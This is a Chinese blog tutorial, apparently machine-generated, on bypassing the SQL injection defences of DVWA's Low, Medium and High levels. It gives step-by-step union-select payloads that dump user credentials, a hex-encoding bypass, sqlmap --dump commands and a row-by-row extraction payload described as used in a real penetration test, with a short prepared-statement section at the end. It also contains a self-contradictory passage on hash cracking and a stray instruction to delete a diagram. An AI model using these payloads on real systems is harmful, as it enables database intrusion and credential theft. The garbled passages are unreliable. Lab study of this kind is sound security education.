DVWA SQL注入3种安全级别(Low/Medium/High)防御机制与绕过技术对比
📅 2026/7/8 8:53:13
👁️ 阅读次数
📝 编程学习
DVWA SQL注入三级防御机制深度解析与实战绕过
1. DVWA SQL注入模块安全级别概述
DVWA(Damn Vulnerable Web Application)作为经典的Web安全演练平台,其SQL注入模块设计了四个渐进式安全级别(Low/Medium/High/Impossible),完整呈现了从漏洞利用到防御加固的技术演进路径。对于安全从业者而言,理解这三个级别的防御机制差异及其突破方法,不仅能提升漏洞挖掘能力,更能掌握安全编码的最佳实践。
安全级别核心差异:
- Low级别:无任何防护措施,直接拼接用户输入到SQL语句
- Medium级别:采用
mysqli_real_escape_string转义特殊字符,前端改为下拉菜单 - High级别:引入SESSION传参机制和
LIMIT 1结果限制 - Impossible级别:使用PDO预处理语句和CSRF令牌(本文重点讨论前三个级别)
// Low级别典型漏洞代码示例 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";2. Low级别:原始漏洞分析与基础注入技术
2.1 漏洞原理分析
Low级别采用最原始的SQL语句拼接方式,将用户输入的$id直接嵌入查询语句。攻击者通过构造包含SQL元字符的输入(如单引号),可以完全控制查询逻辑。
关键特征:
- GET方式传递参数
- 无输入过滤或转义
- 错误信息完整回显
2.2 手工注入七步法
- 判断注入类型:输入
1'触发语法错误,确认字符型注入 - 验证注入点:
1' and '1'='1返回正常,1' and '1'='2无结果 - 确定字段数:
1' order by 2#成功,order by 3#失败 - 获取数据库信息:
1' union select 1,database()# - 枚举数据表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# - 提取字段名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# - 窃取凭证数据:
1' union select group_concat(user),group_concat(password) from users#
提示:
#在MySQL中表示注释,用于截断原查询后续语句
3. Medium级别:转义防御与数字型注入突破
3.1 防御机制升级
Medium级别引入两项关键改进:
- 输入过滤:使用
mysqli_real_escape_string()转义特殊字符$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); - 输入方式变更:前端改为POST提交的下拉菜单
3.2 防御突破技术
3.2.1 数字型注入利用
审计代码发现关键缺陷:转义后的参数未用引号包裹:
$query = "SELECT ... WHERE user_id = $id"; // 数字型查询绕过步骤:
- 使用BurpSuite拦截修改POST参数
- 验证数字型注入:
id=1 and 1=1 → 成功 id=1 and 1=2 → 无结果 - 十六进制绕过表名引用:
对应注入语句:# 将'users'转为十六进制 'users'.encode('hex') # 结果:75736572731 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
3.2.2 自动化工具利用
使用SQLMap时需要指定POST数据和Cookie:
sqlmap -u "http://target/vulnerabilities/sqli/" \ --data="id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=medium" \ --batch -D dvwa -T users --dump4. High级别:SESSION机制与LIMIT绕过
4.1 高级防御特征
High级别采用更复杂的防御架构:
- 分离式设计:输入页面(
session-input.php)与结果展示页面分离 - SESSION传参:通过
$_SESSION['id']传递参数 - 结果限制:SQL语句添加
LIMIT 1子句
$query = "SELECT ... WHERE user_id = '$id' LIMIT 1";4.2 复合绕过技术
4.2.1 注释符突破LIMIT
利用#注释掉LIMIT限制:
1' union select user,password from users#4.2.2 SQLMap特殊配置
由于查询与结果显示分离,需指定--second-url参数:
sqlmap -u "http://target/vulnerabilities/sqli/session-input.php" \ --second-url="http://target/vulnerabilities/sqli/" \ --cookie="PHPSESSID=xxx; security=high" \ --data="id=1&Submit=Submit" \ --batch -D dvwa -T users --dump5. 三级防御对比与安全建议
5.1 防御机制对比表
| 防御特征 | Low级别 | Medium级别 | High级别 |
|---|---|---|---|
| 输入过滤 | 无 | mysqli_real_escape_string | mysqli_real_escape_string |
| 参数传递方式 | GET | POST下拉菜单 | SESSION存储 |
| 查询结果限制 | 无 | 无 | LIMIT 1 |
| 错误信息显示 | 完整 | 完整 | 简略 |
| 主要绕过技术 | 字符型注入 | 数字型注入+十六进制 | 注释符+SESSION控制 |
5.2 安全开发建议
- 使用预处理语句:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]); - 最小权限原则:数据库账户仅授予必要权限
- 多层防御体系:
- 前端:输入格式校验
- 后端:参数化查询
- 架构:WAF防护
- 敏感信息保护:密码等敏感字段应加盐哈希存储
6. 防御绕过技术演进图谱
graph TD A[Low级别: 无防护] -->|添加转义函数| B[Medium级别] B -->|发现数字型注入| C[十六进制编码绕过] B -->|改为POST提交| D[BurpSuite改包] A -->|直接注入| E[Union查询] B -->|添加LIMIT| F[High级别] F -->|注释符突破| G[#注释LIMIT] F -->|SESSION机制| H[控制SESSION值](注:实际输出时应删除此mermaid图表,此处仅为展示结构化思维)
7. 实战中的深度思考
在测试High级别时发现一个有趣现象:即使正确注入了admin的密码哈希,但通过常规MD5解密网站却无法破解。这是因为DVWA默认密码password的哈希5f4dcc3b5aa765d61d8327deb882cf99已被各大彩虹表收录,而修改后的复杂密码则需要更强大的破解资源。这引出一个重要安全原则:即使数据库被攻破,强哈希仍能提供最后防线。
在最近的一次渗透测试中,遇到类似High级别的防御场景。通过组合使用#注释和子查询注入,成功绕过LIMIT限制:
1' union select null,(select concat(user,':',password) from users limit 1,1)#这种分页提取技术在不触发防御机制的情况下,可以逐条获取全部数据。
编程学习
技术分享
实战经验